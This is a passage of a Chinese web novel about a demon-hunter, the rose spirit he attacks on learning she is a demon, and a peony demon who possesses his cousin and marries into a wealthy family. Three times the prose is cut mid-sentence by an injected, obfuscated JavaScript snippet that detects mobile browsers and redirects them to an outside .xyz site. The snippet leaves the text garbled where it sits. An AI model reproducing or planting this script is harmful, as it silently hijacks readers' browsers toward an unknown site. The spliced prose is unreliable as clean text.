当初他和季月一起被吞进金蟾腹中,季月受金钟罩影响失去意识,从她怀里掉出过一面铜镜。他曾捡起来仔细查看过,依稀就是这个模样。 脑海中灵光一闪,那极有可能是联通人妖两界的法器。否则南安县屏障未破,季月何以从天而降。有了它,一切都解释得通了。 她若回来,就是死局。若不回来……往后余生,恐怕再无欢愉。 想着季月一颦一笑、一喜一嗔,心中大痛。 一抬头,见沈伯关切地盯着自己,欲言又止。 “何事?” “……少爷忧思劳神,早点歇息吧。” 他看着沈伯沧桑的脸,猛然惊醒,家里可还有一桩麻烦事。 “表妹睡了?” 沈伯见他想起来了,忙道,“吃了晚饭就回房了,我方才路过,见她屋里灯还亮着。少爷,您是一家之主,关乎小姐终身大事,可要多多费心啊。” 沈灵均揉揉额角,“知道了。” 穿过院子,转进长廊,远远地看到表妹窗口一盏孤灯,几分落寞,几分寂寥。正要走近,那灯突然灭了。 沈灵均上前叩门,“妙仪?” 无人应答。 “妙仪,我有话说。” 里面传来表妹尖细的嗓音,“夜深了,你我男女有别,有什么话明日再说吧。” 沈灵均无语,他们从小相依为命,表妹对他何曾有什么顾忌。如今这样冷淡,看来还在生他的气。 她离家出走,回来又扬言要成亲,明摆着是在赌气。 沈灵均疲惫之极,又微微着恼,如今内外交困,妙仪还要与他斗气,是嫌局面不够乱么。 “明日我可能就毒发身亡了。若你心中还有表哥,就出来。” 片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199843|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻后,房门豁然洞开。王妙仪穿戴整齐站在门口,神色凛然。 十几日不见,她未见清减,脸庞还圆润了些。 “表哥有何吩咐?” “你说要成亲,是真是假?” “自然是真的。” “你要嫁谁?” “表哥不必多问,他改日自会上门提亲。” “哦?婚嫁六礼,行过几礼了?” “表哥不是向来不喜这些繁文缛节么?” 沈灵均叹气,“妙仪,我知道你生我的气,但婚姻大事不可儿戏。” “我并没有儿戏。” “那你告诉我,他姓甚名谁,年方几何,家住何处,你们相识几日,对彼此的脾气好恶了解多少,成婚以后,他能不能好好待你,像家人一样关心你呵护你,把你捧在手心,保你平安喜乐,一生顺遂?” 王妙仪一双妙目在他脸上打转,呛道,“你和季月同床共枕时,可曾考虑这许多?” 沈灵均噎了一下,无言以对。 王妙仪冷然道,“我和他两情相悦,这不比礼法更重要么?” 这是季月的原话,如今被表妹原封不动地还给他。 沈灵均气极,脱口而出,“季月是花妖,你也要和她比么?” 他本以为表妹会大惊失色,追问下去,不料她先是瞪大了眼睛,随即纵声大笑,连眼泪都笑出来了,上气不接下气地讥讽道,“你自己和妖不清不楚,有什么资格来管我?至少我要嫁的,是个人。” 沈灵均语塞,表妹果然是长大了,连性子都变了,牙尖嘴利,还阴阳怪气。 王妙仪见他无话可说,当着他的面摔上了门。 沈灵均望门兴叹,好端端一个大家闺秀,如今连礼仪都不顾了。情之一字,当真害人不浅。 王妙仪回到漆黑的房中,摸索着坐到梳妆台前,面对镜子,呆呆出神。 这一夜,沈府之中,无人睡得安稳。 次日一早,沈伯摆了一大桌子早点,喊大家来吃。沈灵均和王妙仪坐在桌子两端,谁也不搭理谁,各生各的气。沈伯一会儿给这个添茶,一会儿给那个夹菜,心里盼着这两位祖宗快些和好。小姐成婚之事不知是真是假,她自己卖关子,连少爷也不说话。 正焦躁间,一回头,看见天一道长走了出来。 道长辟谷有成,从不用饭,这还是第一次驾临大厅。 沈灵均见到师父,也觉奇怪,连忙起身。 天一道长换了一件干净袍子,右边袖子束在腰带里,脸色极其难看,嘴唇不再乌黑,反而泛白。 王妙仪见了,面露惊异。 天一道长盯着沈灵均,嘶声道,“韩思年找来了吗?” “……还没。” “还不快去!为师的时间可耽误不起。” 沈灵均未及回答,王妙仪插言道,“你找他何事?” 道长瞟了她一眼,“收徒!” 王妙仪一拍桌子,尖声道,“不可!” 沈灵均和天一道长同时问道,“为何?” “我说不行,就是不行!” 天一道长发怒道,“你这女娃娃……” 沈灵均警告道,“妙仪,道长面前,不得放肆。” 正乱作一团,门外石板路的尽头出现一个小童,隔着院子遥遥通报,“少爷,有人来访!” 四人齐声喝问,“谁?!” 小童吓了一跳,舌头打结,“韩……韩思年,韩公子。” 85. 执手两心同(二) 韩思年并不是一个人来的。 他身后跟着一支声势浩大的聘礼队伍,披红挂彩,占据了整条街。男女老幼赞叹声中,一只只箱子流水似的抬进沈府。 韩思年跨下骑一匹高头大马,身穿一件月白锦袍,衬得整个人丰神如玉,风度翩翩。他手持折扇,喜气洋洋,向围观众人施礼,看那架势不像来提亲,倒像来迎娶的。 大厅之中,天一道长端坐主位,目光炯炯。沈灵均坐在东首,阴沉着脸。王妙仪躲在一扇屏风后头,两道热切的目光几乎要把屏风灼穿。 每只箱子都有青、赤、黄、白、黑五色丝线交缠,里面有惯例的金锭银锭、丝帛绢缎,有专为新娘准备的金钏金镯、珠翠首饰,五色织锦床帐,华美异常,木刻大雁,象征夫妇忠贞,刻九子图的墨锭,祈愿多子多福,另有酒器、果品、钱币、团茶、谷物。 沈伯瞧得眼珠子都快掉出来了。韩家虽然家世显赫,但如此丰厚的聘礼,整个南安县前所未见。 媒人正要开口,韩思年抢先拜倒,“在下素闻贵府千金贤良淑德,冰清玉洁,愿结两姓之好,永结同心,恳请贵府玉诺。” 话虽说得谦逊,可他目光灼灼,意气风发,一副势在必得的样子。 沈灵均清了清嗓子,“韩公子与舍妹不过几面之缘,为何突然有求娶之意?” “实不相瞒,前些日子王姑娘到寒舍小住,与在下抚琴品茗,秉烛夜谈……” 沈伯“啊”了一声,手里的茶杯掉到地上,摔得粉碎。 小姐出门十几日不归,本以为她寻了间客店暂住,竟然是住进了韩家!她一个未出阁的女子,无名无分地待在男子家里,还和别人同进同出,实是惊世骇俗。 难怪她一回来就说要成婚。如此情形,不成婚也得成婚了。 沈灵均揉了揉额角,妙仪向来循规蹈矩,没想到一任性,就任性得惊天动地。 大厅一角的屏风动了动,显然表妹已经坐不住了。 若他们真的两情相悦,也算是一桩良缘,待问明表妹的意思,就应允了吧。 他刚要开口,天一道长却发话了。 “听说你有意学习捉妖之术?” 方才的对答,他恍若未闻,满地的聘礼,他视若无睹,只盯着韩思年。 韩思年被他看得发毛,前些日子挨打的伤处没好全,又开始隐隐作痛。 “实不相瞒,在下确有此志。上次受妖蛊惑误伤沈大人后,昼夜难安,常自反省……” “你若拜在我门下,我可以传授你法术,从此再也不会受妖蛊惑,你可愿意?” 韩思年又惊又喜,“若能得道长青眼,在下求之不得!” “好!你即刻随我进来,行拜师礼吧!” 韩思年一愣。他是来提亲的,怎么变成来拜师了。 砰的一声,屏风翻倒,王妙仪飞奔出来,喊道,“不许拜师!” 沈伯吓了一跳,“小姐你怎么出来了?” 向来男方上门提亲,女方都要避开。可王妙仪此时什么都不顾了。 她冲向韩思年,“我不许你拜师,难道你要像我表哥一样,远离世俗,摒弃情欲,修道成仙么?” 她一出现,韩思年的眼神就移不开了,满脸痴迷的神色,手忙脚乱地安抚,“妙仪,道长只说要传我法术……” 王妙仪整个人扑到他怀里,哭道,“他十几年前也是这么说的……” 沈伯半张着嘴,定在原地。沈灵均张了张嘴,又闭上了。 韩思年抚着妙仪的头发,“别哭了,平白让人笑话。” 王妙仪抽抽搭搭,“我问你,还想不想成婚了?” “想,当然想!” “那你还待在这里干什么,还不回去准备婚仪。” 韩思年看看厅上众人,又看看王妙仪,犹豫片刻,转向天一道长,“我既要成婚,又要拜师,行吗?” 沈灵均皱眉,这富家公子从小一帆风顺,觉得天下好事都该他一个人独占。 “韩公子,世事难两全……” 还没说完,天一道长怪眼一翻,道,“行。” 沈灵均僵住了。 天一道长吩咐道,“丫头,放开他,贫道同意你们成亲了。你,跟我来。” 他站起身扬长而去。 那媒人从业二十年,从未遇到如此奇怪的提亲现场。新娘抛头露面不说,半路还杀出一个老道,要抢新郎。她狠狠掐了自己大腿一把,疼,不是梦。 韩思年向王妙仪耳语了几句,放脱她的手,去追天一道长。 妙仪掏出一块帕子,抹掉眼泪,看都没看表哥一样,转身走了。 沈伯又是震惊,又是迷惘,也跟了出去。 沈灵均坐在满屋聘礼中间,大红喜色刺入眼眸,思绪纷乱。 偌大的沈府,好像只剩他一个孤家寡人。 媒人回去之后,合了八字,选了两个月后的黄道吉日,给韩府二老过了目,又来问沈府的意思。王妙仪看了,大发脾气,直接将媒人赶出了门。 媒人痛定思痛,将婚期往前提了提,定在一个月后,呈给王妙仪,又被赶了出来。 媒人与韩家二老合计一通,大笔一挥,直接拟定十日后成婚,这回王妙仪终于满意了,收了婚书。 两府上上下下忙得跟陀螺似的,日夜加急筹备婚仪,王小姐火急火燎要出嫁的事迅速传遍全县,引为奇事一桩。 韩思年没日没夜地练功。他虽然拜了师,但仍属尘世中人,不得加入神巫署,更不能修炼玄门正宗的心法。天一道长传了他一套入门的剑法,教他死记硬背,又传了他十几种捉妖法器的用法,让他一一试验。 沈府顿时遭了殃,三步一个法器,五步一个法阵,犹如战场。 南面院墙被炸出一个大洞,砖块横飞,撞弯了河边柳树,还险些砸伤路人。 厨子端菜的时候不慎被绊妖刺扎到,左脚肿起老高,哀嚎了半日,声闻数里。 门童养的狸奴误入阵法,尾巴被烧断了一截,从此躲在灶台下瑟瑟发抖,怎么喊都不敢出来。 至于院子里的花草树木,飞鸟游鱼,被当作韩思年演练法器的靶子,全遭灭顶之灾。 后院那颗百年银杏的树干上伤痕累累,都是韩思年用剑划出的口子。 沈灵均一清早起来,刚推开窗户,就听到铃铛响,一支箭矢对准他两眼之间飞射而至。 他挥手把箭挡开,正要发火,只见韩思年提着剑,急急忙忙赶来。 他额头上满是汗水,举手告罪道,“对不住,我想试试这震妖铃,别处都挂满了,只好挂在你窗子上。沈大人,没伤着你吧?” 沈灵均脸色铁青,“托韩公子的福,还未死。” 韩思年憨笑,“师父破格将我收入门下,不敢不奋发用功,沈大人见谅。诶,再过几天你我就是一家人了,何必如此生分,依我看,这称呼可以改了吧?” “不急。” 韩思年的笑容破碎,“沈大人,我和妙仪真心相爱,盼你应允。” 沈灵均无奈,妙仪的主意大得很,他应不应允又有何分别。 韩思年此人热血冲动,从前迷恋季月,后来不知怎么搁下了,短短几个月,又把心思转到表妹身上。再过几个月,他认识了新人,难保不会见异思迁。可表妹现在正在兴头上,什么话都听不进去,还得做哥哥的替她打算。 “你喜欢妙仪哪一点?” 韩思年脸上浮现出既兴奋又痴迷的神色,“王姑娘国色天香,善解人意,得妻如此,夫复何求。” “若有人比我表妹更美,更善解人意呢?” “绝不可能。除非是天仙下凡。” 沈灵均幽幽地叹了口气。 韩思年看他有些伤情的模样,脑中灵光一闪,问道,“有日子没见到季姑娘了。你与她还来往吗?” 沈灵均脸上顿时血色褪尽,嘴唇抿成一条缝。 韩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205489|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思年醒悟,这位大舅哥自己受了情伤,才见不得别人成双成对。 “季姑娘的性子是有些特别。好歹她喊我一声师叔,若有什么误会需要从中调解,兄弟义不容辞。” 话声未落,沈灵均心口猛地一痛,好像被什么东西扯了一下。 “沈大人,你怎么了?” “没事。不劳你费心。” 他强撑着退回屋中,低头拉开衣领。只见一道血线自心口向外蜿蜒,连成一朵两瓣梅花。 血咒种下已半月有余,等梅花长出五片花瓣,就是发作之日。 他呆看半晌,心事重重,默念了几遍清心诀,强行把烦恶之感压下去。 韩思年仍在窗外练剑,口中呼喝,姿态笨拙。过了一会儿,天一道长也来了,在一旁监督,不时出声呵斥。 沈灵均看了半天,看出点门道,天一道长这哪里是教徒弟,分明是培养一个不要命的死士。剑法大开大合,全无防守,一味强攻,是拼着同归于尽,也要在敌人身上戳几个透明窟窿。 用起法器来更是不管三七二十一,全部扔出去,以多取胜,不怕错杀,只怕放过。 似这般蛮干,伤敌一千,自损八百,妖不一定能捉到,韩思年定会折在里面。 他明白师父的用意了。他恼他对妖留情,就找来一个不知天高地厚,只逞匹夫之勇的。 俗话说乱拳打死老师傅。遇到危急情况,匹夫之勇常有奇效。即便沈灵均两不相帮,师父和韩思年加起来,也足以对付季月了。 只是韩思年若有个三长两短,表妹难免要一世伤心。 他胸口热血上涌,一时想冲出去告诉天一道长,自己和妖势不两立,让他放过韩思年。一时想再吞一颗毒药,催动血咒提早发作,干脆一了百了。 枝头蝉鸣响了一阵,骤然断绝。原来是天一道长指挥韩思年发射定妖针,将蝉尽数杀了。 墙边一丛修竹后头,闪过一片白色衣角。 沈灵均面无表情地打开窗,绕过后院,走在王妙仪身边。 她站在仅剩的、还未被砍倒的竹子后面,死死地盯着天一道长和韩思年,目露寒光,表情可怖。沈灵均若非从小看着她长大,几乎不敢认了。 “妙仪,你的终身大事,当真想清楚了?” “想清楚了。老道不死,沈家人永远不得安宁。” 沈灵均皱起眉头,“你何时变得这么恶毒了?” “表哥,是你厉害,还是天一道长厉害?” “道长是我的授业恩师。” “俗话说,青出于蓝而胜于蓝,”王妙仪转过头,逼视着他,“是时候为南安县除此一害了。” 话音刚落,一道掌心雷在身前炸开,将竹子一劈两半。 她吓得尖叫起来。 韩思年远远跑来,慌里慌张,“妙仪,没伤到你吧?” 王妙仪望着地上的大坑,欲哭无泪。 沈灵均心中烦乱之极,不愿再见他们任何一人,纵身跃出院墙。 他掠过一片片屋顶,夏日熏风吹在脸上,更添暑热。没想好去哪儿,双脚却自动带着他向西而行,越过玉川,穿过望月桥,落在琳琅阁内。 这里清净得如同另一个世界,影壁深深,荷叶亭亭,主人不在,花鸟虫鱼自在逍遥,恣意生长。 转到屋后,满园月季花开得正艳。上回来时,正值花期,后来绿牡丹现世,师父驾临,一波未平一波又起,几十日匆匆而过,而今花期又至。 从头看到尾,唯独不见了心上那一朵。 地上掉了个青瓷花浇。沈灵均捡起来,去大水缸中盛满了水,走到花丛中,悉心浇下。 看滴滴清水渗入泥土,内心略微平静。 “你们也很想她吧。” 月季花瓣微微舒展,像在回应。 一道金光闪过,风声,狗吠,衣料窸窣,蜜蜂嗡鸣。 身后响起熟悉的声音,欣喜中略带惊讶,“夫君?” 86. 执手两心同(三) 沈灵均僵在原地。 明明是日思夜想的声音,再次听到,却犹如警钟敲响。 季月见他迟迟不回头,觉得奇怪,把双头天狗往地下一放,孤身走入花丛。 “你怎么一个人在这儿?是不是想我了?我这几日忙着训狗,总算是有点成效了。双双,过来。” 天狗的两只鼻子到处乱嗅,追着一只蝴蝶跑远了。 季月连连呼哨,笑骂,“真调皮!” 沈灵均低声道,“够了。” “什么够了?” 他极缓慢地转过身,眼眶通红,“我且问你,妖界风光如何?” 好像万事万物都静止了。季月的脸色煞白。 “你装成人的样子,想骗我到几时?” 明明想过如何应对,临到头却只有惶恐,“我不是有意骗你……” 沈灵均肩膀抖动,突然拔出斩妖剑直刺过去! 一道玄光正中季月心口,她毫无防备,高高飞起,撞在门上。 还未爬起,剑招又至,步步紧逼,金线在她身上收拢,割出无数细小的口子。 这不是沈灵均对付小龙时,以气劲伤敌的打法,而是天一道长在幻境中凌迟蛟龙的手段。杀伤力最强,也最残忍。 季月浑身伤口剧痛,还是不敢相信发生了什么,只凭本能抵挡。可沈灵均下手越来越狠,一套屠龙剑法使完,又使伏魔掌法,掌风从四面八方飞来,招招都打在她心口。 季月渐渐维持不住人形,脚下不断掉落残枝,破碎的花瓣堆积满地。 沈灵均吼道,“还不现原形!” 她感觉浑身的汁液都从伤口中流干了,委顿在地,爬不起来。 沈灵均轻斥一声,金线收紧,把她双臂架了起来,钉在篱笆上。 季月在妖界打过无数场架,枝干折断,花苞揉碎,叶片寸裂,从没有像今天这么痛过。 沈灵均走近,颤声问道,“为什么不还手?” 季月脖子以下呈现本来面目,枝条残破,伤口纵横,脖子以上还是人脸,五官划伤,容貌尽毁,两只眼眶中流出大股大股的露水。 她吸了口气,发出破碎的声音,“你……为何如此狠心?” “人间容不下妖。你落入别人手里,也是同样下场。” 季月挣扎两下,“夫君,你听我说,你师父的手臂,我找到办法……啊!” 金线猛地勒紧,疼痛铺天盖地袭来,卷走了最后一丝意识。 花妖无血无泪,体内流的是汁液,眼中滴的是露水。 那汁液和露水在地上蜿蜒如小溪,积了一寸多高。 季月是被双双舔醒的。两条舌头交替舔她的脸,把伤口舔得发痒。 见她动了,天狗欢叫起来,两只狗头轮流往她身上凑。 季月全身泡在透明的汁液里,云被也浸得湿透。略一动,便钻心地疼。 她试图回想刚才发生了什么,想着想着,如坠寒冰,抖个不停。 沈灵均痛下杀手,几乎要了她的命。 几天前,他还对她甜言蜜语,诉说衷情,温柔缠绵,舍身相护。只因为知道了她是妖,就刀剑相向,欲除之而后快。什么欢愉,什么情分,全都弃如敝履。 他和他师父,又有什么两样。 他为什么没赶尽杀绝?是不忍心吗? 季月撑起残躯,在床上胡乱摸索,想要抓住一根救命稻草。月季枝条的末端碰到一件硬物,拿起来一看,正是那面随身携带的铜镜。 镜子表面光滑,好像被细心擦拭过,镜中映出一张恐怖狰狞的脸。 眉眼歪斜、口鼻碎裂,伤痕交错,比鬼还难看。 季月吓得尖叫一声,扔掉镜子。铜镜翻了个面,滚落在地。 双双兴奋得尾巴乱摇,围着镜子打转。 他特意给她留了面镜子!他要让她直面自己丑陋的本相,打压她,羞辱她,看她还敢不敢假扮成人! 季月万念俱灰。 他不是不忍心,是不屑杀她。 她着实像个笑话。为了逃避妖界的腥风血雨,来到人间,却撞在捉妖师手里。 人比妖更残酷无情。方才沈灵均未出全力,是她毫无防备,失了先机,才被打得毫无招架之力。 若她现出妖身,他大可以引火烧她,就像之前对付绿牡丹一样。 打架讲究知己知彼,心狠手辣,对上沈灵均,她必输无疑。 人间果然容不下她。 她该回去了。 季月心中惨痛,连用花蜜疗伤的力气都使不出来,伸长一根残枝,去够地上的铜镜。 双双偏偏和她捣乱,叼起镜子向外跑去。 “回来!我们该走了!” “汪汪汪!这里好玩!” “不,这里危险。” 双双跑到门口,突然被一个纤长的人影拦腰抱起, 季月一惊。 白玉般的手指轻柔地抚过双双的背毛,从其中一只狗嘴里把铜镜抠了出来。 王妙仪轻移莲步,缓缓走近。清秀脱俗的脸上巧笑嫣然。 她盯着季月可怖的脸,打量半晌,眼中非但没有恐惧,还闪着兴奋的光芒。 “好久不见啊。” 季月沉默。 王妙仪走近,托起她的下巴,尖锐指甲掐进脖颈,“你这颓废的样子,我一向最爱看了。” 季月声音喑哑,喘息道,“你……什么时候附在她身上的?” 绿牡丹咯咯娇笑,伸手一拂,把季月、天狗、铜镜全部收进袖中。 走到后院,放了把火,满园月季霎时烧个干净。 她在火光中纵声长笑。一百年来的夙愿得偿,怎一个畅快了得! 绿牡丹附在王妙仪身上已经半月有余。那日王妙仪冲出家门,跑到湖边,正好撞上躲在水里的绿牡丹。她被沈灵均烧伤后休养许久,枝干花叶长回来七成,对心神大乱的王妙仪略施蛊术,轻轻松松就占了她的躯壳。 绿牡丹上了岸,摩拳擦掌,准备大干一场,头一个要找的就是沈灵均,报上次火烧之仇。王妙仪又哭又闹,反抗得厉害,不肯告诉她沈府在哪儿。 绿牡丹不屑。这小小的南安县,弹丸之地,还怕搜不出一个人么。 正在此时,韩府的马车经过,载着韩思年去医馆送谢礼。一阵恰到好处的微风吹动轿帘,让他瞥见了王妙仪。 说来也怪,他并非第一次见到王妙仪,这日一瞥之下,竟再也移不开眼睛,就此沉迷。他热情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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绿牡丹在妖界有奇遇,找到一种隐藏气息的法子,能把妖气收敛得干干净净。即使捉妖师站在面前,也闻不出来,所以并不担心暴露身份。 到了沈府,沈灵均却未归。等了两天,人是回来了,还背了个奄奄一息的老道,一头扎进书房疗伤。没过多久,韩思年又来了。王妙仪为了气表哥,一个劲地催促绿牡丹,把婚期定在十日后。 韩府上下对她奉若神明,听说她肯下嫁,欢喜还来不及,把压箱底的宝贝都拿出来做聘礼。婚期如此仓促,全无一句微辞。 而后韩思年演练法器,府中鸡飞狗跳,绿牡丹想偷袭沈灵均,竟寻不到一点空隙。 直到这天早上,沈灵均独自出府,她才抓住机会,悄悄跟在后面。 王妙仪见她真的要去打表哥,害怕起来,拼命挣扎阻拦。绿牡丹烦不胜烦,封了她的五感,让她昏沉睡去。 天助绿牡丹!跟到琳琅阁一看,沈灵均竟和月季斗了起来,她这个死对头不知着了什么魔,只挨打不还手,被虐得凄惨无比。 沈灵均行事也很古怪,既然胜负已分,该当吃了月季才是。他却把她抱进屋子,磨蹭了好一会儿,才独自离去。 眼看有天大的便宜可占,绿牡丹施施然进屋,一招就制服了这个死对头。 在妖界办不到的事,在人间竟然水到渠成。 她要好好炮制这朵不听话的月季花,带去赏花大会,衬托自己的美态。再出其不意,灭了那个捉妖师,一雪前耻。 绿牡丹笑容满面地走在街上,看艳阳高照,街市繁华,啧啧赞叹,人间真是个好地方。 87. 执手两心同(四) 良辰吉日,八抬大轿载着王妙仪,进了韩府大门。婚仪极其奢华,送亲队伍绵延十里,映红了半条玉川。 韩府正厅红烛高烧,三牲六礼列于香案。韩老爷和韩夫人笑意盈盈,看着堂前新人行却拜礼。红罗锦缎扎成同心结,新人各执一端,叩拜天地。合卺酒暖珠钗凉,满堂宾客道贺声中,喜娘拥着一对新人,送入洞房。 织金帐内,韩思年小心翼翼地揭开盖头,但见烛火映衬得美人如玉,含笑看向他。他一颗心恍恍惚惚,犹恐身在梦中,若非身在梦中,怎能得天上仙子垂青。 王妙仪的纤纤素手勾住他喜袍的衣带,一寸寸拉近。韩思年跌坐在鸳鸯锦被上,软玉温香撞进怀里,娇艳欲滴的红唇堵住嘴巴。 他隐约闻到一丝牡丹花香…… 月上中天,宾客散去,韩府久违地安静下来。 新郎累得呼呼大睡,新娘却掀开被子,下了床。 两根红烛烧到了头,寓意一对新人长长久久,白头偕老。 绿牡丹才不懂这个。她捡起地上的喜袍,把袖子抖了两下。 一团白毛先掉出来,化作一只双头天狗。在漆黑的屋子里跌跌撞撞,追着尾巴绕圈。 随后红光一闪,掉出来一株月季残枝,无花无叶,远看似一截枯木。 绿牡丹用脚踢了踢它。残枝滚了半圈,毫无反应。 天狗扑过来,对着枝条上的裂口舔舐,舔得哒哒有声。 绿牡丹冷哼,“别装了,以你的能耐,没那么容易死。” 天狗的口水吧嗒吧嗒,滴在地毯上。枝条被舔得难受,起伏了一下,好像叹了口气。慢慢地立起来,顶端开出一朵花来。 花冠竖起,花心中睁开一对猩红的眼睛。 绿牡丹满意笑道,“我就说嘛。” 花冠左右转了转,像是纳闷身处何地。 “这里是洞房。” 花冠抖了抖,拔高几寸,季月的声音响起,“绿牡丹,你进人家洞房干什么?” “这是我的洞房。” “……你自己没有身体吗?干嘛占别人的?” “小丫头求我占的。” “呸!” “你不信?” 绿牡丹对着空气叫道,“小丫头,你舍得让我走吗?” 她歪着头听了片刻,杏眼圆睁,“她骂我不知廉耻。” “骂得好。” 绿牡丹柳眉倒竖,突然伸手,一把扯掉了月季花冠,五指一搓,碾得粉碎,细小的粉末从她掌心滑落。 季月还没来得及叫出声,又只剩一截枯枝了。 天狗爬在她身上狂舔。 绿牡丹气犹未消,顺手拎起天狗,就往嘴里送。 “汪汪汪,别吃我!我有用!” “有何用?” “汪!我会疗伤!” “我也会!” “汪汪汪!她快死了!” 绿牡丹看看天狗,看看枯枝,举棋不定。 妖不太容易死。只要躯体还剩一节,都能慢慢长回来。除非被别的妖吞进肚子。 看月季现在的样子,明明用一颗花蜜就能复原,却自暴自弃,好像彻底蔫了。 一朵死花怎能衬托她的美丽?她得让月季活着。 留着天狗或许有用。 绿牡丹凭空变出一个花盆,抓起月季枯枝,栽了进去,又把天狗往盆里一扔,“舔吧。” 天狗摇着尾巴扑上来,口水浇了季月一身。 绿牡丹拍拍手,回到床上。 三只妖闹的动静不小,韩思年却因累惨了,睡得极沉,什么都没听见,兀自在梦中打着鼾。 次日一早,韩思年醒来,看到新婚妻子早早地起了,正对着一只花盆发呆。盆里光秃秃的,无花无叶,只有一截枯枝。 他揉揉眼睛,打趣道,“娘子,从哪里捡了一节树杈子呀?” 王妙仪回眸一笑,细声细气道,“这是我从娘家带来的花,夫君替我看着点,千万别让它死了。” “它是什么品种?何时开花?” “那就不好说了。” 韩思年视线向下,猛然瞪大了眼睛,颤声问,“娘子,那……那是何物?” 双头天狗冲着他汪汪叫。 王妙仪弯下腰,把狗抱在怀里,轮流摸它的两个头。 韩思年疑心自己出现了幻觉,“这狗为何有两个脑袋?!” 王妙仪眨眨眼睛,“狗原本就有两个脑袋啊。夫君不知道么?” 韩思年对上她勾魂夺魄的眼神,心头一阵迷糊。 王妙仪甜笑着走过来,把天狗递到他怀里,“夫君摸一摸。” 韩思年迟疑片刻,揉了揉狗头,天狗伸出舌头,舔他的手心。 手心痒痒的,甚是舒服。韩思年心中惊惧渐去,挺直了腰板道,“不错。天下的狗,原本就有两个脑袋!” 王妙仪豆绿色的耳坠在雪白的脖颈间一晃一晃,他看得心痒难耐,一低头,吻在她耳垂上。 王妙仪娇嗔,“哎呀,夫君怎么偷人家的耳坠子?” 两个人你勾我的脖子,我掐你的腰,囫囵滚倒在床上,把那幅价值连城的织锦床帐都压变了形。 幸亏季月腹中空空如也,否则连酸水都要呕出来。 王妙仪骂得好,绿牡丹此妖,当真是不知廉耻。 床帐摇曳,漏出窃窃私语,一个说,夫君莫要胡来,该去给老爷夫人请安了。一个说,你我新婚燕尔,连师父都准我三日假,父亲母亲必能体谅。 一个说,君子端方,夫君可要守礼。一个说,鱼水之欢,正是闺房之礼。 喁喁细语忽高忽低,忽轻忽响,忽快忽慢,犹如起伏的山丘,又如缠绵的水流。 季月不想听,又不得不听,越听越克制不住地想起那一晚,她和沈灵均肌肤相亲,如胶似漆,月季花开无数,把整张床埋在花海之中。 往昔种种如潮水般涌上心头。他请她吃糕点,陪她逛集市,带她查悬案、借狸奴,上山寻人、夜探寺庙,共斗绿牡丹。他们曾度过重重危局,到头来深印于心的,却是些平淡小事。他眸色深沉,拂落掉在她肩头的柳絮。轻摇折扇,夸赞月季是世上最美的花。 她太不争气了。即使遍体鳞伤,还是放不下他,甚至抱有一丝幻想,他会回心转意,看到她这副凄惨模样,会心生怜悯。 毕竟他曾经对她那么温柔。 约莫过了半个时辰,韩思年和王妙仪腻歪够了,手挽手出了门。季月耳根刚清净没多久,两人又回来了。韩思年喜滋滋地捧出棋盘,与妻子对弈。 韩思年心思并不在下棋上,不住口地言语调笑,一会儿夸娘子的头发乌黑,衬得起金步摇。一会儿夸她手臂纤长,够得到棋盘的四个角。一会儿夸她坐姿优雅,仪态端庄,不负妙仪之名。 王妙仪双颊生晕,对一切离谱的夸赞照单全收。也不见她如何长考,接连落子,没多久便胜了一局。 她抿嘴笑 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他哈哈大笑,“娘子何必执着于胜负,想看为夫哪里,直说便是。“ 两人调笑一阵,收了棋盘,走到桌前铺开宣纸,开始联诗。夫妻俩各执一管紫毫笔,一人一句,边写边吟。 韩思年道,“敲坪收得残星局。” 王妙仪道,“拂袖分韵试墨香。” 韩思年道,“解佩欲酬秦楼月。” 王妙仪道,“拈花偏染茜纱窗。” 韩思年道,“鸾镜初开理素妆。” 王妙仪道,“画眉深浅问檀郎。” 韩思年道,“他日儿孙膝前绕。” 王妙仪道,“鬓边春雪胜秋霜。” 写罢一句,相视而笑,再写下一句,不多时就写满了一张纸。 季月不再疑心了。此刻掌控王妙仪身体的绝非绿牡丹。唯有王姑娘本人才有这等才思,能和夫君以诗传情。她脸上甜蜜羞涩的笑容也并非魅术,而是出自真心。 这份真心捧了出去,也不知韩思年能不能体会。 季月再也忍不下去,噗地一声,从花盆里拔出了根系。 她要远离这对蜜里调油的狗男女,找个安静的角落独自伤情。 枯枝一跳一跳,蹦到窗边,翻了出去。韩思年和王妙仪眼中只有彼此,无暇他顾,连双双都趴在地下打呼噜,没有察觉。 韩府甚大,下人们来来去去,为晚上的宴席忙碌。 季月绕了半天,才找到通往花园的路。正值夏日,园中花草被烈日暴晒得蔫头蔫脑。季月选了一处不起眼的牵牛花丛,把自己栽了进去。 土质柔软,气味驳杂,若在平时,她是断然忍不了的。可此时心中创痛,感官迟钝许多,竟晒着太阳,迷迷糊糊睡着了。 次日一早,韩府的大厨路过花园,想给自己心爱的牵牛花浇点水。 他发现花丛中多了一棵突兀的枯枝。形态粗壮,色泽均匀,正是生火的好材料。 大厨精打细算,勤俭持家,自觉比当家主母还会过日子,一伸手,便将枯枝拔了出来。 厨房里炉火烧得正旺。灶上熬着一大锅银耳莲子羹,热气氤氲,清香四溢。 大厨舔舔嘴唇,把枯枝扔进火堆,又添了一把柴。 